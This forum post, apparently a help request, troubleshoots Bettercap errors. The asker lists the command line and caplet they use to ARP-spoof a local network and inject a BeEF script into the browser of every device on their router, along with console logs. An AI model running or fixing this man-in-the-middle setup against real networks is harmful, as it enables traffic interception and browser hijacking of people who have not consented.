title: Bettercap: bind: address already in use
body: <p>Whatever port I try to use I keep getting the error:</p>
  
  <blockquote>
    <p>listen tcp 0.0.0.0:PORT_NUMBER: bind: address already in use</p>
  </blockquote>
  
  <h3>Environment</h3>
  
  <ul>
  <li>I also installed this using Brew if you need to know that
  
  <ul>
  <li>Bettercap 2.11.1</li>
  <li>Mac OS High-Sierra</li>
  <li>golang 1.11.4</li>
  </ul></li>
  </ul>
  
  <h3>Command line code used:</h3>
  
  <p><code>sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap</code></p>
  
  <h3>beef-active.cap:</h3>
  
  <pre><code>set http.proxy.script beef-inject.js
  set http.proxy.port 8011
  set https.proxy.port 8011
  http.proxy on
  https.proxy on
  sleep 1
  arp.spoof on
  </code></pre>
  
  <h3>Expected behavior:</h3>
  
  <p>I am trying to inject some js into the browser of each computer connected to my router. I except to see a message that the beef-inject was successfully injected</p>
  
  <h3>Actual behavior: What actually happened</h3>
  
  <p>Stops when it hits my IP address. Here is the output:</p>
  
  <blockquote>
    <p>[13:26:41] [sys.log] [inf] http.proxy started on 0.0.0.0:8011 (sslstrip disabled)</p>
    
    <p>[13:26:41] [sys.log] [inf] loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem</p>
    
    <p>[13:26:41] [sys.log] [inf] loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem</p>
    
    <p>[13:26:41] [sys.log] [inf] Enabling forwarding.</p>
    
    <p>[13:26:41] [sys.log] [inf] https.proxy started on 0.0.0.0:8011 (sslstrip disabled)</p>
    
    <p>[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: address already in use</p>
  </blockquote>
  
  <h1>edit:</h1>
  
  <p>Changing the ports for both to be different stopped the error however it is still not injecting anything into the browsers. All I keep getting in the console is:</p>
  
  <p>ok so I changed that and I am no longer getting that error however, it is still not injecting any JS into the browsers. I just keep getting new and lost endpoints like so:</p>
  
  <pre><code>0.0.0.0/24 &gt; 0.0.0.0  » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
  0.0.0.0/24 &gt; 0.0.0.0  » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
  </code></pre>
  
  <p>.... Then it keeps ticking through the same messages, new > lost > new > lost </p>
  
  <p>Any ideas?</p>